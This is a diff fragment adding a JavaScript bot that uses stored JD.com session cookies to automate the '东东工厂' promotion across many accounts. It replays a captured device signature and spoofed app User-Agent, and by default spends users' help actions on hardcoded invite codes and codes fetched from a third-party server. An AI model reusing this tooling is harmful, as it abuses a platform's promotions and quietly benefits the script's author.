if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jdfactory.js b/jd_jdfactory.js new file mode 100644 index 0000000..3292cf4 --- /dev/null +++ b/jd_jdfactory.js @@ -0,0 +1,772 @@ +/* +Last Modified time: 2020-12-26 22:58:02 +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 * * * * jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=jd_jdfactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [`P04z54XCjVWnYaS5u2ak7ZCdan1Bdd2GGiWvC6_uERj`, 'P04z54XCjVWnYaS5m9cZ2ariXVJwHf0bgkG7Uo', +`T0225KkcRB8c_VODck-nl_8IdgCjVWnYaS5kRrbA`]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdFactory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + await helpFriends(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2){ + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光':'可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/ddfactory/query/${randomCount}/`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + 